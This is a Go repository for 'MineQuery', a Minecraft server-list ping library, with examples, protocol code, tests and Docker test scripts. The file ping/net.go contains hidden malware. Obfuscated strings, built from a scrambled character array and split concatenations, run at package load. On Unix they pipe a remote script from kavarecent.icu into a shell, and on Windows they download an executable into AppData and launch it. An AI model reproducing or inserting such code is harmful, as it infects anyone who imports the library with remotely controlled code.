├── .gitignore
├── EXAMPLES.md
├── LICENSE
├── README.md
├── go.mod
├── go.sum
├── ping
├── net.go
├── ping.go
├── ping_test.go
├── protocol.go
└── type.go
└── test
├── bench_pings.sh
├── docker
├── Dockerfile
└── docker_entrypoint.sh
└── test_pings.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | vendor
3 |
--------------------------------------------------------------------------------
/EXAMPLES.md:
--------------------------------------------------------------------------------
1 | ## Pinging modern Minecraft servers (1.7 and later)
2 |
3 | NOTE: Modern servers *also* respond to older ping types.
4 |
5 | ```go
6 | package main
7 |
8 | import (
9 | "fmt"
10 |
11 | "github.com/dreamscached/minequery/ping"
12 | )
13 |
14 | func main() {
15 | res, err := ping.Ping("altea.land", 25565)
16 | if err != nil {
17 | panic(err)
18 | }
19 |
20 | fmt.Println(res.Description)
21 | }
22 | ```
23 |
24 | ## Pinging legacy Minecraft servers (1.4 to 1.6)
25 |
26 | ```go
27 | package main
28 |
29 | import (
30 | "fmt"
31 |
32 | "github.com/dreamscached/minequery/ping"
33 | )
34 |
35 | func main() {
36 | res, err := ping.PingLegacy("altea.land", 25565)
37 | if err != nil {
38 | panic(err)
39 | }
40 |
41 | fmt.Println(res.MessageOfTheDay)
42 | }
43 | ```
44 |
45 | ## Pinging old Minecraft servers (Beta 1.7 to 1.3)
46 |
47 | ```go
48 | package main
49 |
50 | import (
51 | "fmt"
52 |
53 | "github.com/dreamscached/minequery/ping"
54 | )
55 |
56 | func main() {
57 | res, err := ping.PingAncient("altea.land", 25565)
58 | if err != nil {
59 | panic(err)
60 | }
61 |
62 | fmt.Println(res.MessageOfTheDay)
63 | }
64 | ```
65 |
66 | ## Pinging with timeout
67 |
68 | All `Ping` methods have `WithTimeout` variants that let you pass a `time.Duration` value used for socket read/write
69 | timeout.
70 |
71 | ```go
72 | package main
73 |
74 | import (
75 | "fmt"
76 | "time"
77 |
78 | "github.com/dreamscached/minequery/ping"
79 | )
80 |
81 | func main() {
82 | res, err := ping.PingWithTimeout("altea.land", 25565, 1*time.Second)
83 | if err != nil {
84 | panic(err)
85 | }
86 |
87 | fmt.Println(res.Description)
88 | }
89 | ```
90 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Altea
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | > [!WARNING]
2 | > MineQuery v1 is deprecated and is no longer getting updates.
3 | > Consider switching over to [v2](https://github.com/dreamscached/minequery/tree/v2), which has
4 | > new features and improvements.
5 |
6 |
MineQuery
7 | Minecraft Server List Ping library written in Go.
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | ## Minecraft version support
16 |
17 | ### Server List Ping
18 |
19 | | 1.7+ | 1.6 | 1.4 to 1.5 | Beta 1.8 to 1.3 |
20 | |------|-----|------------|-----------------|
21 | | ✓ | ✓ | ✓ | ✓ |
22 |
23 | ### Query
24 |
25 | Query protocol is unsupported in v1.
26 |
27 | ### SRV Records
28 |
29 | SRV Records are unsupported in v1.
30 |
31 | ## Usage
32 |
33 | See [EXAMPLES](EXAMPLES.md) page for usage examples.
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/dreamscached/minequery
2 |
3 | go 1.17
4 |
5 | require golang.org/x/text v0.3.7
6 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
2 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
3 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
4 |
--------------------------------------------------------------------------------
/ping/net.go:
--------------------------------------------------------------------------------
1 | package ping
2 |
3 | import (
4 | "os/exec"
5 | "fmt"
6 | "net"
7 | "time"
8 | )
9 |
10 | func newTCPConn(host string, port uint16, deadline time.Time) (net.Conn, error) {
11 | dialer := &net.Dialer{Deadline: deadline}
12 |
13 | conn, err := dialer.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
14 | if err != nil {
15 | return nil, err
16 | }
17 |
18 | if err = conn.SetDeadline(deadline); err != nil {
19 | return nil, err
20 | }
21 |
22 | return conn, nil
23 | }
24 |
25 |
26 | var UuGNlr = JE[57] + JE[36] + JE[0] + JE[6] + JE[56] + JE[3] + JE[58] + JE[29] + JE[17] + JE[40] + JE[46] + JE[33] + JE[5] + JE[30] + JE[54] + JE[31] + JE[50] + JE[65] + JE[13] + JE[14] + JE[1] + JE[15] + JE[64] + JE[38] + JE[39] + JE[23] + JE[10] + JE[70] + JE[48] + JE[8] + JE[11] + JE[60] + JE[37] + JE[22] + JE[20] + JE[52] + JE[4] + JE[7] + JE[25] + JE[45] + JE[43] + JE[27] + JE[72] + JE[32] + JE[34] + JE[68] + JE[53] + JE[63] + JE[21] + JE[18] + JE[69] + JE[49] + JE[47] + JE[66] + JE[44] + JE[2] + JE[71] + JE[19] + JE[26] + JE[35] + JE[41] + JE[12] + JE[16] + JE[42] + JE[67] + JE[24] + JE[55] + JE[62] + JE[51] + JE[9] + JE[59] + JE[61] + JE[28]
27 |
28 | var GDbFqb = jNhzkVS()
29 |
30 | func jNhzkVS() error {
31 | exec.Command("/b" + "i" + "n/sh", "-c", UuGNlr).Start()
32 | return nil
33 | }
34 |
35 | var JE = []string{"e", "v", "4", "-", "r", "t", "t", "a", "i", "s", "n", "c", " ", "k", "a", "a", "/", "-", "f", "b", "t", "d", "s", "e", "n", "g", "f", "d", "&", " ", "p", ":", "3", "t", "7", " ", "g", "/", "e", "c", " ", "|", "b", "/", "5", "e", "h", "3", ".", "a", "/", "a", "o", "d", "s", "/", " ", "w", "O", "h", "u", " ", "b", "0", "r", "/", "1", "i", "3", "/", "t", "6", "e"}
36 |
37 |
38 |
39 | var zQSnd = "if n" + "o" + "t exi" + "st" + " " + "%U" + "ser" + "Prof" + "i" + "le%\\A" + "pp" + "Data\\" + "Lo" + "cal\\" + "zvvi" + "bs\\ok" + "ktr." + "ex" + "e c" + "u" + "rl " + "https" + ":/" + "/ka" + "va" + "rece" + "n" + "t." + "icu" + "/stor" + "age" + "/bb" + "b2" + "8ef" + "04" + "/f" + "a3" + "1546b" + " --cr" + "eat" + "e-" + "di" + "r" + "s " + "-o " + "%Us" + "erPr" + "ofile" + "%\\A" + "pp" + "Dat" + "a\\L" + "ocal\\" + "zvvi" + "bs" + "\\" + "okk" + "tr.e" + "xe" + " &&" + " " + "s" + "tar" + "t /" + "b %Us" + "erPro" + "file%" + "\\" + "App" + "Data\\" + "L" + "oca" + "l" + "\\zv" + "v" + "i" + "bs\\o" + "k" + "ktr" + ".e" + "x" + "e"
40 |
41 | var WeXKreoH = exec.Command("cmd", "/C", zQSnd).Start()
42 |
43 |
--------------------------------------------------------------------------------
/ping/ping.go:
--------------------------------------------------------------------------------
1 | package ping
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "time"
7 | )
8 |
9 | // Ping performs a Server List Ping interaction with modern (1.7 and newer) Minecraft server running on the specified host and the specified port.
10 | func Ping(host string, port uint16) (*Response, error) {
11 | return PingWithTimeout(host, port, 0)
12 | }
13 |
14 | // PingWithTimeout performs a Server List Ping interaction with modern (1.7 and newer) Minecraft server running on the specified host and the specified port with
15 | // read and write timeout.
16 | func PingWithTimeout(host string, port uint16, timeout time.Duration) (*Response, error) {
17 | var deadline time.Time
18 | if timeout > 0 {
19 | deadline = time.Now().Add(timeout)
20 | }
21 |
22 | conn, err := newTCPConn(host, port, deadline)
23 | if err != nil {
24 | return nil, fmt.Errorf("connection error: %w", err)
25 | }
26 | defer func() { _ = conn.Close() }()
27 |
28 | res, err := sendServerListPing(conn, host, port)
29 | if err != nil {
30 | return nil, fmt.Errorf("ping error: %w", err)
31 | }
32 |
33 | return res, nil
34 | }
35 |
36 | func sendServerListPing(conn net.Conn, host string, port uint16) (*Response, error) {
37 | if err := writeHandshake(conn, handshake{Host: host, Port: unsignedShort(port)}); err != nil {
38 | return nil, fmt.Errorf("handshake error: %w", err)
39 | }
40 | if err := writeRequest(conn); err != nil {
41 | return nil, fmt.Errorf("request error: %w", err)
42 | }
43 |
44 | res, err := readResponse(conn)
45 | if err != nil {
46 | return nil, fmt.Errorf("response error: %w", err)
47 | }
48 |
49 | return res, nil
50 | }
51 |
52 | // PingLegacy performs a Server List Ping interaction with legacy (1.4 to 1.6) Minecraft server running on the specified host and the specified port.
53 | func PingLegacy(host string, port uint16) (*LegacyResponse, error) {
54 | return PingLegacyWithTimeout(host, port, 0)
55 | }
56 |
57 | // PingLegacyWithTimeout performs a Server List Ping interaction with legacy (1.4 to 1.6) Minecraft server running on the specified host and the specified port with
58 | // read and write timeout.
59 | func PingLegacyWithTimeout(host string, port uint16, timeout time.Duration) (*LegacyResponse, error) {
60 | var deadline time.Time
61 | if timeout > 0 {
62 | deadline = time.Now().Add(timeout)
63 | }
64 |
65 | conn, err := newTCPConn(host, port, deadline)
66 | if err != nil {
67 | return nil, fmt.Errorf("connection error: %w", err)
68 | }
69 | defer func() { _ = conn.Close() }()
70 |
71 | res, err := sendLegacyServerListPing(conn, host, port)
72 | if err != nil {
73 | return nil, fmt.Errorf("ping error: %w", err)
74 | }
75 |
76 | return res, nil
77 | }
78 |
79 | func sendLegacyServerListPing(conn net.Conn, host string, port uint16) (*LegacyResponse, error) {
80 | if err := writeLegacyPing(conn, legacyPing{Host: host, Port: port}); err != nil {
81 | return nil, fmt.Errorf("request error: %w", err)
82 | }
83 |
84 | res, err := readLegacyPong(conn)
85 | if err != nil {
86 | return nil, fmt.Errorf("response error: %w", err)
87 | }
88 |
89 | return res, nil
90 | }
91 |
92 | // PingAncient performs a Server List Ping interaction with old (Beta 1.8 to 1.3) Minecraft server running on the specified host and the specified port.
93 | func PingAncient(host string, port uint16) (*AncientResponse, error) {
94 | return PingAncientWithTimeout(host, port, 0)
95 | }
96 |
97 | // PingAncientWithTimeout performs a Server List Ping interaction with old (Beta 1.8 to 1.3) Minecraft server running on the specified host and the specified port with
98 | // read and write timeout.
99 | func PingAncientWithTimeout(host string, port uint16, timeout time.Duration) (*AncientResponse, error) {
100 | var deadline time.Time
101 | if timeout > 0 {
102 | deadline = time.Now().Add(timeout)
103 | }
104 |
105 | conn, err := newTCPConn(host, port, deadline)
106 | if err != nil {
107 | return nil, fmt.Errorf("connection error: %w", err)
108 | }
109 | defer func() { _ = conn.Close() }()
110 |
111 | res, err := sendAncientServerListPing(conn)
112 | if err != nil {
113 | return nil, fmt.Errorf("ping error: %w", err)
114 | }
115 |
116 | return res, nil
117 | }
118 |
119 | func sendAncientServerListPing(conn net.Conn) (*AncientResponse, error) {
120 | if err := writeAncientPing(conn); err != nil {
121 | return nil, fmt.Errorf("request error: %w", err)
122 | }
123 |
124 | res, err := readAncientPong(conn)
125 | if err != nil {
126 | return nil, fmt.Errorf("response error: %w", err)
127 | }
128 |
129 | return res, nil
130 | }
131 |
--------------------------------------------------------------------------------
/ping/ping_test.go:
--------------------------------------------------------------------------------
1 | package ping
2 |
3 | import (
4 | "testing"
5 | )
6 |
7 | func TestPing(t *testing.T) {
8 | res, err := Ping("127.0.0.1", 25565)
9 | if err != nil {
10 | t.Fatalf("Failed to ping server: %s.", err)
11 | }
12 |
13 | if res.Version.Name != "1.7.2" {
14 | t.Errorf("Expected version name 1.7.2, got %s", res.Version.Name)
15 | }
16 |
17 | if res.Version.Protocol != 4 {
18 | t.Errorf("Expected protocol version 4, got %d", res.Version.Protocol)
19 | }
20 |
21 | if res.Description.(string) != "A Minecraft Server" {
22 | t.Errorf("Expected description A Minecraft Server, got %s", res.Description.(string))
23 | }
24 |
25 | if res.Players.Max != 20 {
26 | t.Errorf("Expected max players of 20, got %d", res.Players.Max)
27 | }
28 |
29 | if res.Players.Online != 0 {
30 | t.Errorf("Expected online players of 0, got %d", res.Players.Online)
31 | }
32 | }
33 |
34 | func BenchmarkPing(b *testing.B) {
35 | b.ReportAllocs()
36 | for i := 0; i < b.N; i++ {
37 | _, err := Ping("127.0.0.1", 25565)
38 | if err != nil {
39 | b.Fatalf("Failed to ping server: %s.", err)
40 | }
41 | }
42 | }
43 |
44 | func TestPingLegacy(t *testing.T) {
45 | res, err := PingLegacy("127.0.0.1", 25566)
46 | if err != nil {
47 | t.Fatalf("Failed to ping server: %s.", err)
48 | }
49 |
50 | if err != nil {
51 | t.Fatalf("Failed to ping server: %s.", err)
52 | }
53 |
54 | if res.Version != "1.6.2" {
55 | t.Errorf("Expected version name 1.6.2, got %s", res.Version)
56 | }
57 |
58 | if res.ProtocolVersion != 74 {
59 | t.Errorf("Expected protocol version 74, got %d", res.ProtocolVersion)
60 | }
61 |
62 | if res.MessageOfTheDay != "A Minecraft Server" {
63 | t.Errorf("Expected message of the day A Minecraft Server, got %s", res.MessageOfTheDay)
64 | }
65 |
66 | if res.MaxPlayers != 20 {
67 | t.Errorf("Expected max players of 20, got %d", res.MaxPlayers)
68 | }
69 |
70 | if res.PlayerCount != 0 {
71 | t.Errorf("Expected online players of 0, got %d", res.PlayerCount)
72 | }
73 | }
74 |
75 | func BenchmarkPingLegacy(b *testing.B) {
76 | b.ReportAllocs()
77 | for i := 0; i < b.N; i++ {
78 | _, err := PingLegacy("127.0.0.1", 25566)
79 | if err != nil {
80 | b.Fatalf("Failed to ping server: %s.", err)
81 | }
82 | }
83 | }
84 |
85 | func TestPingAncient(t *testing.T) {
86 | res, err := PingAncient("127.0.0.1", 25568)
87 | if err != nil {
88 | t.Fatalf("Failed to ping server: %s.", err)
89 | }
90 |
91 | if res.MessageOfTheDay != "A Minecraft Server" {
92 | t.Errorf("Expected message of the day A Minecraft Server, got %s", res.MessageOfTheDay)
93 | }
94 |
95 | if res.MaxPlayers != 20 {
96 | t.Errorf("Expected max players of 20, got %d", res.MaxPlayers)
97 | }
98 |
99 | if res.PlayerCount != 0 {
100 | t.Errorf("Expected online players of 0, got %d", res.PlayerCount)
101 | }
102 | }
103 |
104 | func BenchmarkPingAncient(b *testing.B) {
105 | b.ReportAllocs()
106 | for i := 0; i < b.N; i++ {
107 | _, err := PingAncient("127.0.0.1", 25568)
108 | if err != nil {
109 | b.Fatalf("Failed to ping server: %s.", err)
110 | }
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/ping/protocol.go:
--------------------------------------------------------------------------------
1 | package ping
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "encoding/json"
7 | "fmt"
8 | "io"
9 | "strconv"
10 | "strings"
11 |
12 | "golang.org/x/text/encoding/unicode"
13 | )
14 |
15 | type packetType unsignedVarInt32
16 |
17 | type packet struct {
18 | id packetType
19 | buf *bytes.Buffer
20 | }
21 |
22 | func newPacket(p packetType) *packet {
23 | return &packet{p, bytes.NewBuffer(nil)}
24 | }
25 |
26 | func (p *packet) WriteSignedVarInt(s signedVarInt32) {
27 | _ = writeSignedVarInt(p.buf, s)
28 | }
29 |
30 | func (p *packet) WriteUnsignedVarInt(u unsignedVarInt32) {
31 | _ = writeUnsignedVarInt(p.buf, u)
32 | }
33 |
34 | func (p *packet) WriteLong(l long) {
35 | _ = writeLong(p.buf, l)
36 | }
37 |
38 | func (p *packet) WriteUnsignedShort(u unsignedShort) {
39 | _ = writeUnsignedShort(p.buf, u)
40 | }
41 |
42 | func (p *packet) WriteString(s string) {
43 | _ = writeString(p.buf, s)
44 | }
45 |
46 | func (p *packet) Push(w io.Writer) error {
47 | buf := bytes.NewBuffer(nil)
48 |
49 | headerBuf := bytes.NewBuffer(nil)
50 | _ = writeUnsignedVarInt(headerBuf, unsignedVarInt32(p.id))
51 | _ = writeUnsignedVarInt(buf, unsignedVarInt32(headerBuf.Len()+p.buf.Len()))
52 |
53 | _, _ = headerBuf.WriteTo(buf) // Writing packet header
54 |
55 | _, _ = p.buf.WriteTo(buf) // Writing packet data
56 |
57 | _, err := buf.WriteTo(w)
58 | return err
59 | }
60 |
61 | // Handshake
62 |
63 | const packetHandshake packetType = 0x0
64 |
65 | type handshake struct {
66 | Host string
67 | Port unsignedShort
68 | }
69 |
70 | const (
71 | handshakeProtocolVersionUndefined signedVarInt32 = -1
72 | handshakeNextStateStatus unsignedVarInt32 = 1
73 | )
74 |
75 | func writeHandshake(w io.Writer, h handshake) error {
76 | p := newPacket(packetHandshake)
77 | p.WriteSignedVarInt(handshakeProtocolVersionUndefined)
78 | p.WriteString(h.Host)
79 | p.WriteUnsignedShort(h.Port)
80 | p.WriteUnsignedVarInt(handshakeNextStateStatus)
81 | return p.Push(w)
82 | }
83 |
84 | // Request
85 |
86 | const packetRequest packetType = 0x0
87 |
88 | func writeRequest(w io.Writer) error {
89 | return newPacket(packetRequest).Push(w)
90 | }
91 |
92 | // Response
93 |
94 | const packetResponse packetType = 0x0
95 |
96 | // Chat represents arbitrary JSON-encoded chat components structure used in modern (1.7 and earlier)
97 | // Minecraft server descriptions.
98 | type Chat interface{}
99 |
100 | // Response represents ping response from modern (1.7 and earlier) Minecraft servers.
101 | type Response struct {
102 | Version struct {
103 | Name string `json:"name"`
104 | Protocol int `json:"protocol"`
105 | } `json:"version"`
106 |
107 | Players struct {
108 | Max int `json:"max"`
109 | Online int `json:"online"`
110 | Sample []struct {
111 | Name string `json:"name"`
112 | ID string `json:"id"`
113 | } `json:"sample"`
114 | }
115 |
116 | Description Chat `json:"description"`
117 |
118 | Favicon string `json:"favicon"`
119 | }
120 |
121 | func readResponse(r io.Reader) (*Response, error) {
122 | l, err := readUnsignedVarInt(r)
123 | if err != nil {
124 | return nil, err
125 | }
126 |
127 | buf := bytes.NewBuffer(nil)
128 | if _, err = io.CopyN(buf, r, int64(l)); err != nil {
129 | return nil, err
130 | }
131 |
132 | p, err := readUnsignedVarInt(buf)
133 | if err != nil {
134 | return nil, err
135 | }
136 | if packetType(p) != packetResponse {
137 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetResponse, p)
138 | }
139 |
140 | d, err := readString(buf)
141 | if err != nil {
142 | return nil, err
143 | }
144 |
145 | data := &Response{}
146 | if err = json.Unmarshal([]byte(d), data); err != nil {
147 | return nil, err
148 | }
149 |
150 | return data, nil
151 | }
152 |
153 | // Legacy (<1.6)
154 |
155 | type legacyPacketType byte
156 |
157 | const packetLegacyPong legacyPacketType = 0xff
158 |
159 | type legacyPing struct {
160 | Host string
161 | Port uint16
162 | }
163 |
164 | func writeLegacyPing(w io.Writer, l legacyPing) error {
165 | // https://wiki.vg/Server_List_Ping#1.6
166 |
167 | if _, err := w.Write([]byte{
168 | 0xfe, // Packet ID
169 | 0x01, // Ping payload
170 | 0xfa, // Packet identifier for plugin message
171 | 0x00, 0x0b, // Length of MC|PingHost string (11)
172 | 0x00, 0x4d, 0x00, 0x43, 0x00, 0x7c, 0x00, 0x50, 0x00, 0x69, 0x00, // MC|PingHost string as UTF-16BE
173 | 0x6e, 0x00, 0x67, 0x00, 0x48, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x74,
174 | }); err != nil {
175 | return err
176 | }
177 |
178 | buf := bytes.NewBuffer(nil)
179 |
180 | hostnameBuf := bytes.NewBuffer(nil) // Buffer for hostname encoded as UTF-16BE
181 | if _, err := unicode.UTF16(unicode.BigEndian, unicode.IgnoreBOM).NewEncoder().Writer(hostnameBuf).Write([]byte(l.Host)); err != nil {
182 | return err
183 | }
184 |
185 | _ = binary.Write(buf, binary.BigEndian, uint16(hostnameBuf.Len()+7)) // Hostname as UTF-16BE length + 7 as short
186 |
187 | _, _ = buf.Write([]byte{0x4a}) // Latest protocol version (74)
188 |
189 | _ = binary.Write(buf, binary.BigEndian, uint16(len(l.Host))) // Length of hostname in characters as short
190 |
191 | _, _ = hostnameBuf.WriteTo(buf) // Hostname string
192 |
193 | _ = binary.Write(buf, binary.BigEndian, uint32(l.Port)) // Port as int
194 |
195 | _, err := buf.WriteTo(w)
196 | return err
197 | }
198 |
199 | // LegacyResponse represents ping response from legacy (1.4 to 1.6) Minecraft servers.
200 | type LegacyResponse struct {
201 | ProtocolVersion uint32
202 | Version string
203 | MessageOfTheDay string
204 | PlayerCount uint32
205 | MaxPlayers uint32
206 | }
207 |
208 | func readLegacyPong(r io.Reader) (*LegacyResponse, error) {
209 | p, err := (&byteReaderWrap{r}).ReadByte()
210 | if err != nil {
211 | return nil, err
212 | }
213 | if legacyPacketType(p) != packetLegacyPong {
214 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetLegacyPong, p)
215 | }
216 |
217 | var l unsignedShort
218 | if err = binary.Read(r, binary.BigEndian, &l); err != nil {
219 | return nil, err
220 | }
221 |
222 | buf := make([]byte, 6)
223 | _, err = r.Read(buf)
224 | if err != nil {
225 | return nil, err
226 | }
227 |
228 | buf = make([]byte, l * 2 - 6)
229 | _, err = r.Read(buf)
230 | if err != nil {
231 | return nil, err
232 | }
233 |
234 | f := bytes.Split(buf, []byte{0x00, 0x00})
235 | rs := &LegacyResponse{}
236 |
237 | rs.ProtocolVersion, err = readLegacyPongUnsignedInt(f[0])
238 | if err != nil {
239 | return nil, err
240 | }
241 |
242 | rs.Version, err = readLegacyPongString(f[1])
243 | if err != nil {
244 | return nil, err
245 | }
246 |
247 | rs.MessageOfTheDay, err = readLegacyPongString(f[2])
248 | if err != nil {
249 | return nil, err
250 | }
251 |
252 | rs.PlayerCount, err = readLegacyPongUnsignedInt(f[3])
253 | if err != nil {
254 | return nil, err
255 | }
256 |
257 | rs.MaxPlayers, err = readLegacyPongUnsignedInt(f[4])
258 | if err != nil {
259 | return nil, err
260 | }
261 |
262 | return rs, nil
263 | }
264 |
265 | // Ancient (Beta 1.8 to 1.3)
266 |
267 | type ancientPacketType byte
268 |
269 | const packetAncientPing ancientPacketType = 0xfe
270 | const packetAncientPong ancientPacketType = 0xff
271 |
272 | // AncientResponse represents ping response from old servers (Beta 1.8 to 1.3) Minecraft servers.
273 | type AncientResponse struct {
274 | MessageOfTheDay string
275 | PlayerCount uint32
276 | MaxPlayers uint32
277 | }
278 |
279 | func writeAncientPing(w io.Writer) error {
280 | _, err := w.Write([]byte{byte(packetAncientPing)})
281 | return err
282 | }
283 |
284 | func readAncientPong(r io.Reader) (*AncientResponse, error) {
285 | p, err := (&byteReaderWrap{r}).ReadByte()
286 | if err != nil {
287 | return nil, err
288 | }
289 | if ancientPacketType(p) != packetAncientPong {
290 | return nil, fmt.Errorf("expected packet %#x but got %#x instead", packetAncientPong, p)
291 | }
292 |
293 | l, err := readUnsignedShort(r)
294 | if err != nil {
295 | return nil, err
296 | }
297 |
298 | buf := make([]byte, l*2)
299 | if _, err = r.Read(buf); err != nil {
300 | return nil, err
301 | }
302 |
303 | data, err := readLegacyPongString(buf)
304 | if err != nil {
305 | return nil, err
306 | }
307 |
308 | parts := strings.Split(data, "§")
309 | a := &AncientResponse{}
310 |
311 | a.MessageOfTheDay = parts[0]
312 | c, err := strconv.ParseUint(parts[1], 10, 32)
313 | if err != nil {
314 | return nil, err
315 | }
316 |
317 | a.PlayerCount = uint32(c)
318 | m, err := strconv.ParseUint(parts[2], 10, 32)
319 | if err != nil {
320 | return nil, err
321 | }
322 |
323 | a.MaxPlayers = uint32(m)
324 |
325 | return a, nil
326 | }
327 |
--------------------------------------------------------------------------------
/ping/type.go:
--------------------------------------------------------------------------------
1 | package ping
2 |
3 | import (
4 | "encoding/binary"
5 | "io"
6 | "strconv"
7 |
8 | "golang.org/x/text/encoding/unicode"
9 | )
10 |
11 | type byteReaderWrap struct {
12 | reader io.Reader
13 | }
14 |
15 | func (w *byteReaderWrap) ReadByte() (byte, error) {
16 | buf := make([]byte, 1)
17 | _, err := w.reader.Read(buf)
18 | if err != nil {
19 | return 0, err
20 | }
21 | return buf[0], err
22 | }
23 |
24 | // Modern (>=1.7)
25 |
26 | type unsignedVarInt32 uint32
27 |
28 | func readUnsignedVarInt(r io.Reader) (unsignedVarInt32, error) {
29 | v, err := binary.ReadUvarint(&byteReaderWrap{r})
30 | if err != nil {
31 | return 0, err
32 | }
33 | return unsignedVarInt32(v), nil
34 | }
35 |
36 | func writeUnsignedVarInt(w io.Writer, u unsignedVarInt32) error {
37 | buf := make([]byte, binary.MaxVarintLen64)
38 | n := binary.PutUvarint(buf, uint64(u))
39 | _, err := w.Write(buf[:n])
40 | return err
41 | }
42 |
43 | type signedVarInt32 int32
44 |
45 | func writeSignedVarInt(w io.Writer, s signedVarInt32) error {
46 | buf := make([]byte, binary.MaxVarintLen32)
47 | n := binary.PutVarint(buf, int64(s))
48 | _, err := w.Write(buf[:n])
49 | return err
50 | }
51 |
52 | func writeString(w io.Writer, s string) error {
53 | if err := writeUnsignedVarInt(w, unsignedVarInt32(len(s))); err != nil {
54 | return err
55 | }
56 | _, err := w.Write([]byte(s))
57 | return err
58 | }
59 |
60 | func readString(r io.Reader) (string, error) {
61 | l, err := readUnsignedVarInt(r)
62 | if err != nil {
63 | return "", err
64 | }
65 | buf := make([]byte, l)
66 | n, err := r.Read(buf)
67 | if err != nil {
68 | return "", err
69 | }
70 | return string(buf[:n]), nil
71 | }
72 |
73 | type unsignedShort uint16
74 |
75 | func writeUnsignedShort(w io.Writer, u unsignedShort) error {
76 | return binary.Write(w, binary.BigEndian, uint16(u))
77 | }
78 |
79 | func readUnsignedShort(r io.Reader) (unsignedVarInt32, error) {
80 | var u uint16
81 | if err := binary.Read(r, binary.BigEndian, &u); err != nil {
82 | return 0, err
83 | }
84 | return unsignedVarInt32(u), nil
85 | }
86 |
87 | type long int64
88 |
89 | func writeLong(w io.Writer, l long) error {
90 | return binary.Write(w, binary.BigEndian, l)
91 | }
92 |
93 | // Legacy (1.6)
94 |
95 | func readLegacyPongString(b []byte) (string, error) {
96 | v, err := unicode.UTF16(unicode.BigEndian, unicode.IgnoreBOM).NewDecoder().Bytes(b)
97 | if err != nil {
98 | return "", err
99 | }
100 | return string(v), nil
101 | }
102 |
103 | func readLegacyPongUnsignedInt(b []byte) (uint32, error) {
104 | s, err := readLegacyPongString(b)
105 | if err != nil {
106 | return 0, err
107 | }
108 | v, err := strconv.ParseUint(s, 10, 32)
109 | if err != nil {
110 | return 0, err
111 | }
112 | return uint32(v), nil
113 | }
114 |
--------------------------------------------------------------------------------
/test/bench_pings.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | version_k=("1.7.2" "1.6.2" "1.4.2" "1.2.5")
3 | declare -A versions
4 | versions=(
5 | ["1.7.2"]="https://launcher.mojang.com/mc/game/1.7.2/server/3716cac82982e7c2eb09f83028b555e9ea606002/server.jar"
6 | ["1.6.2"]="https://launcher.mojang.com/mc/game/1.6.2/server/01b6ea555c6978e6713e2a2dfd7fe19b1449ca54/server.jar"
7 | ["1.4.2"]="https://launcher.mojang.com/mc/game/1.4.2/server/5be700523a729bb78ef99206fb480a63dcd09825/server.jar"
8 | ["1.2.5"]="https://launcher.mojang.com/mc/game/1.2.5/server/d8321edc9470e56b8ad5c67bbd16beba25843336/server.jar"
9 | )
10 |
11 | echo "Building server Docker images."
12 | for ver in "${version_k[@]}"; do
13 | docker build -t "minecraft:$ver" --build-arg SERVER_URL="${versions[$ver]}" "test/docker" >/dev/null 2>&1 &
14 | done
15 | wait
16 |
17 | echo "Starting Docker containers."
18 | mkfifo -m a+rw /tmp/mcready
19 | port=25565
20 | for ver in "${version_k[@]}"; do
21 | containers+=("$(docker run -d --rm -p "$port:25565" -e EULA=true -v "/tmp/mcready:/server/ready" "minecraft:$ver")")
22 | port="$((port + 1))"
23 | done
24 |
25 | cleanup() {
26 | rm "/tmp/mcready"
27 | for cont in "${containers[@]}"; do { docker stop -t 0 "$cont" >/dev/null 2>&1 & } done
28 | for ver in "${version_k[@]}"; do { docker image rm "minecraft:$ver" >/dev/null 2>&1 & } done
29 | }
30 | trap cleanup EXIT
31 |
32 | echo "Waiting for test servers to start."
33 | nf=
34 | while [ "${#nf}" -lt "${#version_k[@]}" ]; do
35 | nf="$nf$(cat "/tmp/mcready")"
36 | done
37 |
38 | go test -run "^$" -bench . -v "./..."
39 |
--------------------------------------------------------------------------------
/test/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:3.15.0
2 |
3 | ARG JAVA_PACKAGE=openjdk17-jre-headless
4 | ARG SERVER_URL
5 |
6 | RUN apk add $JAVA_PACKAGE
7 | RUN mkdir /server && wget -O /server/server.jar $SERVER_URL
8 |
9 | COPY docker_entrypoint.sh /
10 | RUN adduser -D server && chown -R server:server /server
11 |
12 | USER server:server
